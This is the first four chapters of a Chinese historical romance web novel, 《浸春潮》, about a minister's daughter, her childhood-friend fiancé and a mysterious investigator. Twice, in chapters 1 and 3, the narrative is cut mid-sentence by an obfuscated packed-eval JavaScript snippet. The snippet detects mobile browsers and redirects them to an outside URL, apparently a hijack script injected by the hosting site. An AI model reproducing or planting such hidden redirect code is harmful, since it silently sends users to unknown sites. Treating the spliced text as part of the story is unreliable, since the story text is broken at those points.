《浸春潮》 1. 第 1 章 西山的寒山寺香火鼎盛,素来以灵验著称。每逢朔望,四里八乡的百姓皆来祈福,青烟缭绕间,梵音不绝于耳。 这日天降大雪,鹅毛般的雪片纷纷扬扬落个不停,刺骨寒风呼啸而过,整座寺庙都笼罩在茫茫雪雾之中。 禅院最东边的一处房屋木门虚掩,透过门缝,隐约可见一抹粉色罗裙与素白长衫交叠在一起,还时不时传来急促的喘息声。 “姑娘且松手......”白衣书生跌坐在地,手中尚攥着半个馒头,书卷已散落一旁。 他面皮薄红,声音里透着几分慌乱:“你……你别撕我衣服.....” 粉衣姑娘却似未闻。她罗衫半褪,露出莹润的肩头,额间沁着细汗,鼻下还挂着缕血丝,一双白嫩玉手撕扯着他的衣衫,口中呢喃着:“救我……” “公子......”她气息紊乱,眼尾泛着桃花色,“我怕是中了那腌臜药,你帮帮我。” 腌臜药? 书生闻言一怔,待要起身,却被她欺身压住。素来只读圣贤书的年轻公子何曾见过这般阵仗,连耳根都红透了。 窗外风雪愈急,将木窗拍得啪啪作响,更衬得屋内呼吸声愈发急促。 书生被她扑得踉跄后退,脊背抵上冷硬的青砖地。那咬了一半的馒头骨碌碌滚落,沾了尘灰。他慌忙拾起,在衣袖上胡乱蹭了蹭,正欲再咬,却被那姑娘劈手夺去。 “姑、姑娘......还我馒头。”他喉结滚动,声音发紧,“小生实在不知该如何帮你。” 话音未落,粉衣姑娘又欺身上来,将他重重压倒在地。馒头“啪”地摔在远处,书生眼睁睁瞧着,不由痛心疾呼:“我的馒头。” 温软的身躯贴上来,灼热似火。他浑身僵直,动也不敢动,只觉唇上一热,那姑娘竟已吻了上来。 她吻得生涩又急切,辗转厮磨间,又顺着他的下颌一路往下,他僵挺着身子,细碎的吻落在颈间,激起一阵战栗。 “抱我。”她喘息着捉住他的手,往自己腰间带。 他甫一触上纤细温软的腰肢,脑中顿时一片轰然。 他……他竟在这佛门净地,被一个陌生姑娘按在地上轻薄? 他一时无措,蹙眉去看她,但见她眼含水光,双颊绯红,似痛苦又似渴求,这幅娇滴滴的可怜模样,叫他推拒不得,又不敢顺从。 姑娘浑身滚烫,胡乱撕扯着他的衣襟,雪白的中衣被扯得散乱,露出一片清瘦的胸膛。 书生慌忙拢住衣襟,耳根红得滴血:“姑娘慎行,佛门清净地,岂可......岂可行此荒唐之事。” 姑娘神志昏沉,哪里听得进去?她伏在他身上,滚烫的唇胡乱落在他颈间,一只手摸索着去掀他的衣裙。 他大惊一声,一把扣住她的手腕:“使不得,使不得。” 姑娘挣了几下,却敌不过他的力气,迷蒙的眸中泛起水光。一滴清泪倏然滑落,挂在她绯红的脸颊上。她咬着唇微微发抖,似在极力忍耐着,可身子却不受控制地往他怀里钻。 书生感觉一股莫名火热从胸前里往外窜,喘了几口气,声音发紧地问:“是何人害你至此?有没有其他救你的办法?” 他抬手替她拭泪,指尖触到那滚烫的肌肤,又慌忙缩回:“姑娘,万不能......万不能这般糊涂啊。” 姑娘神智已然涣散,只凭着本能往他身上贴,滚烫的身子竟比那炭盆还要灼人。 书生被她缠得脱不开身:“姑娘......” 他喊得发哑,却见她泪落如珠,眼眸似蒙着层雾气,渐渐失了焦距。 寒意透过门缝渗进来,激得书生打了个寒颤。 她发间的茉莉香,一个劲儿往他鼻子里钻。 “热......”她无意识地呢喃,泪水浸湿了他胸前衣襟,“好难受......” 她又开始撕扯他的衣服。 他呼了口气,喉结开始剧烈滚动,强自镇定地帮她擦了擦眼泪。 “公子......”她泪眼朦胧,一只手死死攥住他的衣袖,一只手抹了把开始不住流淌的鼻血,声音发颤,带着哭腔求他,“救救我,我会负责的,我会与公子结发长生。” 结发长生? 他听闻这话,喉间一紧,竟不受控制地一把将她按入怀中,捧住她滚烫的小脸亲了上去。 “姑娘,既然如此,你也帮我一个忙。待你回去后,去找一个叫周烨的人,让他去济州寻找知州袁裴,请袁裴速来寒山寺救我。” —— 两年后。 金风渐起时,京城的梧桐开始簌簌落黄。沈家花厅里,许府来的媒婆正翘着染了凤仙花的指甲,坐在桌前吃茶。 “许大人说了。”媒婆将青瓷盏往案上一搁,眼皮子朝上翻着,“沈姑娘过门后先在别院住着,等西跨院那三进的新宅子晾透了漆味,再风风光光搬过去。” 她抖出一张洒金笺,鼻腔里哼出声笑:“瞧瞧,都是比着京中最贵的排场列的。许大人说他们也没打算这么早让孩子成婚,可谁让咱们探花郎是个痴情种呢?满京城的小姐们眼睛都盼绿了,偏生探花郎就认准这青梅竹马的情分。” 沈夫人静坐一侧,凝眸望她,细眉微蹙道:“许老爷的意思,我大抵是明白了。先前,我们也想着过了年关再议定亲之事,但是许公子迫切,三番五次的来求,两个孩子又情投意合,我们也不好驳了他的深情。为人父母,不过盼着儿女能觅得知心人,余生和顺美满。” “许府只有许公子这一根独苗,对这桩婚事想必也是极为看重的。昨日许公子来还说把许府的正院当做新房,怎的今日就变了?” 媒婆子皮笑肉不笑地回道:“这事儿说来话长。婚房院子尚在修缮,横竖日后要迁去新院的。再说那正院,可不是什么人都能住得的。” 沈夫人听罢,眉间蹙痕更深,轻笑一声道:“您这话,我倒是听明白了。不过,订婚之事怕是要往后拖拖了。我们家老爷今个还念叨着,说因儿的功课尚未修完,怎么也得待到明年开春才能分心。” “这婚事嘛,倒也不急在这一时。横竖两个孩子素日里相处甚好,再等些时日也无妨。况且我们因儿年纪尚小,我还想多留在身边娇养两年呢。” 沈夫人突然这般说,媒婆子听到一半,脸色就变了。 沈夫人施施然起身,唇角噙着浅笑:“劳烦您回去禀告许大人,今年这婚期怕是不成了,且待明年春日再议罢。” 媒婆子一时语塞,她只是按照许大人的意思拿拿架子,没想到沈夫人三言两语便将这婚事推了。 “沈夫人这是哪里话?”媒婆子面色讪讪,连忙堆起笑来,“两家不是都说定了吗?连黄道吉日都要择了,只等着给两个孩子定下婚事,您且坐下来,我慢慢与您讲。” 沈夫人笑意不减,缓声道:“便是您今日不来,我们原也打算过两日登门说明的。因儿课业未竟,心性也未定,总得让她明白成婚是终身大事,须得细细思量。若两个孩子当真情投意合,又岂在这半年光景?待到明年春和景明,百花吐艳时再办喜事,岂不更好?” 她语声柔和,却字字不容转圜,媒婆子张了张口,竟寻不出话来驳,她还想再劝,却见沈夫人已款步向门边走去,分明是送客的意思。她只得讪讪地收起礼单,悻悻告辞离去。 沈夫人看着她离了府,不禁轻叹一声。 这时候,沈识因自隔壁厢房出来,她瞧了瞧母亲的神色,轻声道:“娘,方才媒婆说的,我都听清楚了,好像与夙阳哥哥说的,完全不同。” 沈夫人轻拉过女儿的手,回道:“是啊!昨日夙阳前来,尚不是这般说法。不想今日那许大人竟差媒婆子来说这番话,且态度倨傲,毫无尊重之意。” “不过,仔细想想也不意外。最近许大人新晋太保,正是风头正盛之时;许夙阳又高中探花,深得圣上恩宠。如今他们乃是京城新贵,难免会摆摆架子。” “因儿,娘今日这般做,就是要让他们知道,我们沈家女儿也不是任人拿捏的。即便夙阳待你情深,若婆家存了轻视之心,往后日子也是难熬的。” 她见女儿眼睫微垂,又柔声宽慰:“你且宽心。若他们真有诚意,自会重新来议。若是没有,待到明年春深,再议婚事也不迟。我们因儿还小,娘还舍不得你这么早嫁人。” 沈家夫妇原就未曾动过嫁女的念头,若非许家那探花郎自从中第后,三番五次登门求娶,他们也不会议及婚嫁之事。 起初许家人倒是热情,可近来这两回,竟只遣了媒人上门,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221027|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媒婆言语间的倨傲之态,分明透着许家如今的气焰。 沈识因在厢房内将那些话听得真切,心中亦觉郁结,见母亲这般维护自己,反倒宽慰道:“娘亲不必忧心,女儿其实也存着几分踌躇。原就不曾想过这般早出阁,只是夙阳哥哥多次表露心迹,叫人难免动容。如今推迟些时日也好,正好让女儿静下心来细细思量。” 沈夫人见女儿这般明理,心中既欣慰又酸楚。她何尝不知,女儿这番话里藏着多少女儿家的心事。 可那许家若是真心,又岂会在功名加身后就变了做派? 她展颜笑道:“这才是我沈家的女儿。娘说的话你要牢记,不论何时,面对何人,都要保持头脑清醒。” 沈识因乖巧应道:“女儿谨记母亲教诲。” 母亲缓了语气道:“正好今日无事,你去看看外祖母吧。前个她还念叨你,想让你过去陪两日。你去的时候把你姐姐带回来,回头陪她到街上挑几匹料子。周烨过两日就要回京了,婚期将近,咱们也该着手准备了。” 沈识因的长姐名叫沈书媛,今年二十有一,生得端庄秀丽,性情温婉,才学更是出众。今春她与礼部侍郎之子周烨订下婚约,婚期就定在今冬。 周烨近日奉皇命外出办差,归期在即。他与沈书媛相识于订婚前,当初一见倾心,相处不久后便定了终身。这位周公子学识渊博,风度翩翩,与沈书媛十分般配。 这几日因着外祖母身体欠佳,沈书媛一直陪着,婚期马上就要到了,她也该回来准备了。 沈识因轻轻应了一声,旋即回房换了身衣裳,便登上马车朝着外祖母家赶去。往昔每回去外祖母家,她都会在东街一家小饭馆买上一只蒸鹅带去。 这家饭馆规模不大,却在当地声名远扬,店里的每道菜肴皆美味至极,尤其是那蒸鹅,堪称一绝。这家店自沈识因儿时便已存在,直至如今,依旧生意兴隆。 待到了东街,沈识因下了马车,刚行至饭馆门前,便被店小二慌慌张张地拦住:“姑娘且留步,今日小店不便接客。” 不便接客?沈识因闻言,微微一怔,不由朝店内张望。只见厅内立着诸多黑衣男子,他们个个腰佩长剑,面色冷峻,周身散发着肃杀之气。 沈识因心中满是疑惑,正欲离开,屋内的黑衣人突然齐刷刷地涌了出来,刹那间便将整座饭馆围得水泄不通。 她下意识地往后退了几步,心中惶惑,正惊惧间,忽见店内缓步走出一位白衣公子。 掌柜紧随其后,脸色煞白,声音颤抖道:“陆大人明鉴呐,小的委实不知情,便是借小的十个胆子,也不敢欺瞒大人啊!” 白衣公子仿若未闻,静静地立在台阶前,目光扫过街巷,然后落在了沈识因身上。 沈识因见他望来,心头猛地一跳。 她怔怔看着他,秋阳透过檐角的缝隙,洒落在他的脸颊上,将他本就精致的五官衬得愈发立体好看。他身姿挺拔,头戴玉冠,一袭寻常白衣,穿在他身上却似月华倾洒,让周身气度更加矜贵不凡。还有他那双眼睛,眸色幽深,清冷中又带着几分勾人的韵味。 他就这样静静地站着,周遭的喧嚣瞬间归于寂静,唯有这一抹清冷的白色身影,在阳光下熠熠生辉,令人移不开目光。 “陆大人,您这般将小店围住,叫小的如何做生意啊?不如您先回府,若有线索,小的定第一时间去禀报。”店家搓着手,满脸哀求地说道。 白衣公子并未作答,目光在沈识因身上停留片刻后缓缓收回。他手中长剑冷光内敛,修长的手指轻轻按在剑鞘上,抬眸望向斜对面酒楼的二层,又回望饭馆门前,似在丈量着什么。 沈识因望着他一时愣神,反应过来后准备离开,只见白衣公子突然朝她走来,他嗓音清冷地道:“听闻姑娘常来此处购买蒸鹅,尚有几处疑点需向姑娘询问,烦请姑娘移步店内。” 向她询问? 沈识因不觉皱眉,透过薄薄日光看着他,突然一种熟悉感扑面而来。她仔细想了想,却又想不起在哪里见过。 白衣公子收回目光,转身步入店内。 沈识因看了一眼掌柜的,掌柜的苦着脸,指了指白衣公子的背影,小声道:“这可是大人物,得罪不起,姑娘快进去吧,如实回答问题就好。” 2. 第 2 章 沈识因出身显赫,祖父贵为当朝太师,父亲官拜吏部侍郎,就连二哥也在翰林院供职。 沈家世代簪缨,她本是京城数一数二的贵女,却与胞姐一起深居简出。平日里鲜少露面,偶有出门也不过是上街采买些物件,或是与亲友吃茶小聚。京中虽多有耳闻沈家女的名头,却少有人识得真容。 她偶尔会从父兄口中听得一些朝中之事,但毕竟是女儿家,到底与外间接触不多,此刻见这阵仗,竟辨不出眼前这位是何方神圣。 她轻拢袖口,走到掌柜跟前,压低声音问道:“这位大人是谁?在查什么案子?” 掌柜的张了张口方要作答,却见那白衣公子忽地转身,眸光如寒潭映月般扫了过来。 他虽然通身透着温润矜贵的气度,可眼神却似淬了霜雪,教人不自觉地屏息。 掌柜的立马闭上嘴巴不敢出声。 沈识因迎上他相似在无声催促的目光,略一迟疑,提步进了店里。 白衣公子引她至桌前坐下,抬了抬手,守在屋内的黑衣侍卫便纷纷退了出去。 房门阖上时发出“吱呀”一声轻响。沈识因心头蓦地一紧,感受到了一种被审讯的压迫感。 室内熏香袅袅,静得能听见铜漏滴答。她抬眸望去,正撞进他深不见底的眸光里。 “沈姑娘。”他清声开口,“前些日子这附近出了桩命案。经查,死者生前曾在此地盘桓多时。巧的是,那日姑娘也曾路过此地,还买了两只蒸鹅。” 他唤她沈姑娘。 沈识因好奇地问:“敢问大人名讳,大人又如何知晓我姓沈?” 她平日里很是低调,哪怕她来这里买过多次蒸鹅,店家都不知晓她是谁。 他张口便叫她沈姑娘,显然知晓她的身份。 白衣公子没有立即回答,眸光微动,垂了下眼睫道:“你唤我陆大人便是。当日出入此地之人,本官皆已彻查清楚,名姓来历无一遗漏。沈姑娘不必多问,还请将当日情形细细道来。” 竟然不告诉她。 沈识因更加好奇了。这般年纪轻轻便能身居高位,又姓陆,除却皇亲贵胄,好像再无他人。 想想他所办差事,也不会是宫里的皇子。她猜,多半是亲王府的人。 亲王府有两位公子,嫡长子陆呈辞近年颇负盛名,她虽久闻其名却未曾得见。二公子陆柏铭乃侧妃所生,才高八斗,生就七窍玲珑心,在京城闺秀中颇受青睐,行事也较其兄张扬。 打量眼前之人,与亲王府两位公子年岁相仿,想必就是其中一个了,只是难以分辨是陆呈辞,还是陆柏铭。 不管是谁,既是亲王府的人亲自督办此案,那么一定非同小可。 她略作思量,如实答道:“回大人,民女确实曾在八月初二那日,来此买过两只蒸鹅。” “那日清晨,好友云棠来府上寻我,邀我同去街上购买首饰。我们途经此地时,在附近的得云茶楼小憩。临行前顺道买了两只蒸鹅,一只给了云棠带走,另一只我带回去赠了人。” 她顿了顿:“当日来去匆匆,并未见有何异状。掌柜的可为民女作证。” 白衣公子闻言微微俯身看她,似要从她眼底探出几分虚实。沈识因坦然迎上他审视的目光,神色自若。 她自问行事光明,倒也不惧这般盘问,只是这闭门独对的阵仗,难免叫人有些局促。 白衣公子审视了她片刻后,收回目光,执壶斟了两盏茶,将其中一盏推至她面前:“姑娘将蒸鹅赠予何人了?” 他声音不疾不徐,却透着不容回避的意味。 “送给了一位好友。” “姓甚名谁?” “许夙阳。” “二位是何关系?” “陆大人问得这般详尽,与案情有什么关系?” “有关系,且关心重大,还请姑娘如实回答。” 沈识因眉心微蹙:“许夙阳是新科探花郎,想必大人知晓他的身份。我们自幼相识,算是故交。前几日他向我求……” 她说到这里突然顿住,垂眸道:“我与他不过泛泛之交,并无深谊。” 泛泛之交,并无深谊。 白衣公子闻言眸色骤然转深,清声道:“我要听的是实话。死者身上发现了探花郎的物件,此事与他脱不了干系。” 死者身上发现许夙阳的物件?沈识因不禁一愣,终是明白他为何要关上门来询问。 她咬了咬唇,霞色渐渐漫上玉颈,如实道:“前些日他向我求亲,我答应了,最近两家在商议订婚的事。” 白衣公子:“那日赠鹅的经过,以及你们的接触,详细说说。” “细节也要说?”沈识因开始有些不耐烦,“民女可否不说?” “知情不报,便是包庇。” “大人尚未缉得真凶,如何就断定民女是在包庇?” “你处处维护于他,有包庇嫌疑。” “我没有维护。只是大人所问实在过于私密。若当真存疑,不妨直接传讯许公子问话。民女敬重大人查案,却也望大人能留几分体面。该说的,民女都已据实以告。” 沈识因心中郁结,这般女儿家的私密之事,竟要她摊在这陌生男子面前细说。 房间里安静了好一会。 白衣公子看了她一眼,道:“既如此,你只需告知那日见他时可有何异状。” 沈识因皱眉回道:“并无反常之处。我们素来相熟,他那日与往常一般无二。我出门惯常会给他捎些小物,那蒸鹅也不过是顺手买的。他接过后说了些客套话,之后便在我府上用了顿便饭。” 说到此处,她抬眸望向他,见他紧看着自己,莫名其妙地心慌了一下:“大人明鉴,民女已将所知尽数相告。命案非同小可,民女虽愿配合查问,却也不愿过多牵涉其中。至于死者身上寻得许公子之物一事,实在与民女无干。若大人尚有疑虑,不妨直接找许公子询问。” “还有,民女绝无包庇之意。若大人再无他问,民女可否先行告退?” 她显然生气了,一口气说了这许多话,几乎不容人插嘴。 白衣公子安静地听完,缓和了下语气道:“此事牵连甚广,涉及朝中多位要员。若探花郎当真涉案,只怕要掀起轩然大波,我亦在暗中查证,究竟与他有无干系,尚需时日查实。只是奉劝姑娘一句……” 说到这里,他的语气郑重了一些:“在他洗脱嫌疑之前,姑娘还是莫要与他过多往来,以免惹祸上身,牵连沈府。” 他在提醒她? 案子这么大,若当真与许夙阳有关,若这个时候她与许夙阳订婚,那她确实会受到牵连。 一时间,她心情复杂,再去看他,又觉得一种熟悉感扑面而来,甚至连他身上的气息她都觉得熟悉。 恍惚间,她不禁问道:“陆大人,我们可曾在哪里见过?为何我总觉得大人那么眼熟呢?” 她笃定他们一定是见过的。 她突然这样问,白衣公子轻颤了下眼睫,眸中闪过一丝慌乱,好看的耳朵蓦地泛红起来。 他滚动了一下喉结,避了下她的视线。她瞧着他细微的变化,一直没等到他的回答。 气氛突然有些微妙,她的耳朵也莫名其妙地红了。 他们……到底在哪里见过?她想破了脑袋。 好一会,白衣公子起身道:“该问的都已问完,姑娘请回吧。今日所言,还望谨记。” 他说完就往门外走。 沈识因忙起身跟上他,还想再问话,追到门前又咽了 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他跟着踏入审司堂,问道:“世子,那姑娘毕竟是太师府的千金,咱们私下审问,是否不妥?” 陆呈辞将佩剑搁在案上,行至桌前,执笔蘸墨,头也不抬地回道:“我自是知晓她的身份。但她与许夙阳往来过密,不得不查。” 岳秋应了一声,目光落在他仍泛红的耳尖上,忍不住又问:“世子可是身子不适?自饭馆出来,耳根便一直红着,连脖颈也红。” 他说着便伸手欲探额温。 陆呈辞侧身避开,笔锋未停:“无妨,只是有些燥热。” “燥热?”岳秋拢了拢自己的衣襟,“今日秋风沁骨,属下还特意添了件中衣,并不觉得热。” 陆呈辞搁笔封笺,将信函递给他:“速将此信送至寒山寺,亲手交予方丈。” 岳秋又看了眼他的耳朵,双手接过,躬身应道:“属下这就去办。” 岳秋走后,陆呈辞在审司堂处理完公务,暮色四合时才回到亲王府。 他甫一进府,管家便迎上来低声道:“世子,王爷找您,在书房等您多时了。” 他“嗯”了声,未及换衣就去了父亲的书房。 推门进去,便见父亲正端坐在桌前处理公务。 父亲放下笔,瞥了眼凳子,他会意后坐下。 父亲陆亲王沉声道:“听闻许家欲与沈家结亲,已在议定聘礼。此事你可知晓?许万昌刚擢升太保,就急着与沈家联姻,其心可诛。” 他冷笑一声:“沈许两家世代交好。当年沈太师救过许老太爷性命,又向先帝举荐,许家才有今日风光。从前许万昌不过是个五品小官,如今位列三公,其子又高中探花,若再与太师府结亲,那结果可想而知。” 陆呈辞在来的路上就料到父亲会说此事。这些世家联姻背后的深意,明眼人一望便知。太师与太保乃朝中肱骨之臣,太师又对皇上忠心耿耿,两家若是结为姻亲,门下官员势必趋之若鹜。 这般凝聚之势,恐将动摇朝局,并且也只会对他们亲王府有弊而无一利。 陆亲王:“联姻之事虽小,却不可等闲视之。如今许夙阳又高中探花,圣眷正隆。皇上分明是要栽培他作一枚趁手的棋子。你平日须得多加留意。明日去趟沈府罢。” 去沈府? 陆呈辞问道:“父亲要儿子拜访谁?” 陆亲王:“沈家二公子沈意林,你去探探他的口风。周烨今晚回京,明日让他随你去,他与沈家大姑娘有婚约在身,借这层关系,你去沈家走动会便宜些。” “还有。”父亲又道,“设法搅了沈识因与许夙阳的婚事。” 3. 第 3 章 沈识因的外祖家乃将门世家,舅舅南征北战立下赫赫战功,如今在朝野间声望极隆。 舅舅膝下育有三子。大表哥已成家立业,育有一女;二表哥随父从军,如今在舅舅麾下效力;小表妹年方十一,生得玉雪可爱。 沈识因到府时,恰逢舅舅舅母都在。叙话间便提起了她与许夙阳的婚事。舅母原有意撮合她与二表哥,奈何二人全无情意,提及此事时甚至相视失笑,舅母也只得作罢。 说起新科探花许夙阳,舅母未多置评,只意味深长道:“姻缘之事,最要紧的是看清本性。” 舅舅却沉吟道:“你年纪尚小,不必急于定亲。那许夙阳甫得功名便来求娶,难保不是一时兴起。须知世人平步青云时,最易移了性情,且观他日后行事。” 沈识因垂首聆听舅舅舅母教诲,一一应下。又陪外祖母说了会儿话,本想留宿两日侍奉,外祖母却说姐姐出阁在即,府中事务繁多,让她回去帮衬。姐妹二人用过午膳便告辞回府。 沈识因刚踏入府门,便见许夙阳已在院中等候。见她们归来,许夙阳急步上前,那双素来温润的眸子此刻微微蹙起。沈识因只一眼,便知他来意为何。 许夙阳年方十九,乃新任太保许万昌独子。生得俊秀温润,身量修长,足有八尺有余。兼之满腹才学,举手投足间尽显世家风范,端的是个清风朗月般的贵公子。 早年沈家祖父曾救过许家,两府世代交好。后许家迁居京城,府邸与沈家相邻,往来甚密。沈识因与许夙阳自幼一处长大,可谓青梅竹马。许夙阳待她极是体贴,自小便将她视若亲妹般呵护。 在沈识因记忆中,许夙阳始终是那个温润如玉的兄长。他为她诵读诗书,在她受罚时挺身相代;冬日添衣,盛夏奉茶。这般情谊,自垂髫至及笄,从未间断。 从前二人虽亲近,却始终守着分寸。自去年起,许夙阳渐渐不再掩饰心意,几番表露衷肠。 而今沈识因正值碧玉年华,面对相伴多年的青梅竹马如此深情,难免心起涟漪。故而当他金榜题名后前来求亲时,她终究难抑心动,应下了这门亲事。 近来许夙阳往沈府走动愈勤,昨日还同她说起婚后住在正院里,今日媒婆便来说出那番话,母女二人难免心有不悦。 母亲婉拒婚事后,沈识因便料到许夙阳定会来寻,只是没想到他来得这样快。 二人转入客房,沈识因执壶斟茶。许夙阳浅啜一口,抬眸时眼底尽是忧色:“识因,媒婆已将今日之事告知于我。如今订婚在即,六礼已过大半,聘礼单子皆按京城最体面的规矩置办,件件都是我亲自过目。伯母为何突然推拒?可是礼单有何不妥?” 沈识因早知他要问此事,只轻笑道:“夙阳哥哥先请坐,容我慢慢道来。” 二人在桌前坐定,沈识因轻声道:“我知你心中急切,只是婚姻大事终究不是儿戏。你新晋探花,正是仕途起步之时。如今圣眷正隆,满京城都盯着你的动向,此时成婚未必妥当。” “况且我们沈家也不是寻常门第,若在此时联姻,难免惹人揣测。既然你我心意相通,不如再等上半载。待来年春暖花开时,再议婚期可好?” 许夙阳闻言,那双总是含笑的眸子倏地暗了下来。他倾身欲握她的手,却被不着痕迹地避开。茶盏轻磕案几,在静谧的室内格外清脆。 “识因。”他眉间蹙起一丝焦急,“你从前不是这般说的。可是出了什么变故?或是我们许家哪里做得不妥?” 沈识因摇头:“夙阳哥哥莫要多心,你待我极好。只是眼下成婚终究仓促,便是定亲也觉突然。待到明年春日,我定给你一个明白答复。” “还要等到明年?”许夙阳声音愈发恳切,“可是因婚后居所之事?那处别院是我特意央家中备下的。我父亲严厉,母亲管束甚紧,成婚后若同住,难免委屈了你。” 他再次伸手,又被避开,眸色不由深了几分:“至于正院之事,原是想着新院未建成前,让你暂住正院。只是父亲说家中从无此例,这才暂定偏院。许是媒人传达有误,倒叫你们误会了。” “识因。”他声音里带着慌乱,“我代他们赔个不是,你别生气。识因,我真的很喜欢你,我想与你在一起,我想让你尽快成为我的妻子,不要推迟婚期好不好?” 他眼中含着小心翼翼的期盼,似春风里将坠未坠的玉兰。 沈识因忙道:“夙阳哥哥,我已说得很清楚了。” 许夙阳倾身向前,眼尾微红,又叫了她一声:“识因......” 他叫的深情,还带着点撒娇的语气,她望着他带着忧伤的眼眸,默了片刻,心软道:“婚姻大事关乎两姓之好。你若是想尽快成婚,不如请令尊令堂过府,与我父母当面商议婚期、居所等事宜?” 沈识因清楚问题出在哪里,若他当真要娶她过门,岂能只遣个媒婆来传话?今日她母亲拒了那趾高气扬的媒人,不过是气不过罢了。谁家姑娘不是捧在手心里养大的?哪能受这般轻慢。 许夙阳理解了她话里的意思,默了片刻,道:“你说得是,原是我考虑不周。只是家父新晋太保,事务繁杂,我回去再与他们商议。” “商议”二字一出,沈识因便明白了他的处境。 她与许夙阳自幼相伴,最知许府境况。虽是独子,可许太保治家如治军,在外是温文尔雅的朝中重臣,归家后却说一不二。许夫人望子成龙,恨不能将儿子雕琢成世间最完美的玉器。 这般境地下长大的许夙阳,面上是温润如玉的探花郎,骨子里却藏着锋芒。偏生他事事都要经父母过目,连婚事也不例外。 她暗自叹息。记得从前许夫人待她亲厚,常拉着手说体己话。可自去年起,那笑意虽在,却总透着几分说不清道不明的疏离。 这般微妙变化,以沈识因的年岁尚不能全然参透。但家中长辈想必早已察觉,否则母亲也不会断然回绝媒人。 想来媒婆的傲慢不过是表面缘由,内里怕是藏着更深的缘故。 可许夙阳待她的心意却是真切的。金榜题名后立即提亲,足见用情至深。 窗外一阵风过,卷起几片早凋的海棠花瓣,飘落在他们之间的案几上。 室内一时静谧。 过了一会,沈识因温声道:“夙阳哥哥,情爱固然动人,可结为秦晋之好,终究要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221029|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经得起世俗眼光的考量,过得了宗族礼法的门槛。” “我虽养在深闺,却也懂得‘宜其家人’的道理。听你方才言语间诸多为难,想必府上另有考量。既然如此,我们何必急于一时?” 她不愿让他为难,又道:“我既已许了你,自然不会反悔。眼下我们仍如从前一般,你又何须这般忧心?” 她竟也在劝他推迟婚事? 他自幼与她相伴,最是知晓她情动时眼波潋滟的模样,也见过她应下婚约时羞红的脸颊。可此刻她这般从容地说着推迟婚期的话,倒叫他泛起说不出的滋味。 她早已不是当年那个会拽着他衣袖撒娇的小丫头了。这个认知让他既欣慰又怅然,就像看着精心培育的花苗,长成了自己都意想不到的模样。 他原是一腔火气而来,想着她家突然反悔,活似被人当头浇了盆冷水。可眼下,那股无名火反倒渐渐熄了。 是他诚意不足,叫她生了退意?还是有人与她说了什么? 他喉结微动,沉默良久才低声道:“你说的,我都记下了。” 他心里虽有不痛快,终是不想与她发生不愉快。 沈识因见气氛凝滞,温声转开话头:“听闻二哥说,你如今颇得圣眷,新领了差事?这个节骨眼上,原该好好在御前表现才是。我大姐婚期在即,府里也要忙上一阵子。” 她这话,什么意思?最近少来找她? 许夙阳眸光微沉,没有接话,从袖中取出一个锦缎包裹的紫檀木匣,轻轻掀开:“原想等定亲那日再给你的,但是现在就想看看你戴上的样子。” 匣中一对羊脂玉耳坠莹润生光,坠子上精雕着缠枝海棠,花蕊处嵌着粉晶,在日光下流转着温柔的光彩。 “好漂亮。”沈识因眸光微亮。 “我帮你戴上可好?”许夙阳拿起耳坠起身,见她下意识要躲,不由低笑,“小时候缠着我给你簪花时,可不见你这般害羞。” 沈识因脸颊微红:“还是我自己来吧。” 许夙阳俯身凑近:“横竖都是要成婚的,何必同我见外?” “我自己就行。”沈识因捻起另一枚玉坠,利索地戴上,又伸手拿走了他手上那只。 许夙阳僵住手看她,心里酸涩难言。 自他表明心意以来,两个人莫说是肌肤之亲,便是连手都不曾相触过。非是他不愿,而是她自两年前起便格外防备外人近身,纵是对他这个青梅竹马,也始终保持着分寸。 两年前,她去姨母家小住归来后,性子便陡然变了。那个明眸善睐的小姑娘,再不似从前般活泼。她变得沉静而敏感,待人接物皆带着三分克制。便是她母亲推迟婚期,她也未置一词。 她心里始终筑着一道墙。 连他也防备着。 可他正值年少慕艾,见心上人玉貌花容,自然渴望亲近。可她连耳坠都不让他戴。 他不禁苦笑,很难过,也很烦躁。寻常眷侣的执手相依、耳鬓厮磨,于他竟成了奢望。 房间里安静了一会,他终是忍不住问道:“识因,两年前你去姨母家小住,那段时日,可曾发生过什么?能否与我说说?” 4. 第 4 章 沈识因两年前在姑母家中小住的事情,许夙阳曾多次询问,却始终未能得到正面回应。 此刻许夙阳再度提起,沈识因不由蹙起眉头,侧首望向他:“夙阳哥哥为何总执着于此?不过是寻常小住罢了。你这般追问,究竟想听我说什么?” 许夙阳见她神色不豫,忙解释道:“随口一问罢了,妹妹何必动气?你我自幼相伴,自然关心你的事。只是那段时间我未能随行,想听你说说其间趣事。” 沈识因骤然起身向门外走去:“不过寻常小住,夙阳哥哥不要问了。” 她步履匆匆,裙裾拂过门槛时微微一顿:“纵使青梅竹马,终究男女有别。女儿家的私事,岂能桩桩件件都与你说?每次都这般刨根问底,实在让人觉得不适。” 许夙阳急步追上:“我绝无他意,妹妹莫恼。只是……”他伸手欲拦,“自你从姑母家归来后,便不似从前了。那个会与我说体己话的小姑娘,好像变了。” “我哪里变了?”沈识因猛地驻足回身。 廊檐风灯摇曳,在许夙阳眉眼间投下斑驳光影。他素来温润的面容在明暗交错间,竟显出几分陌生的惶然。 沈识因凝视着他,语气郑重:“推迟婚事是两家商议未妥,与两年前无关。我性格变化也是年岁使然,夙阳哥哥何必疑心疑虑?” 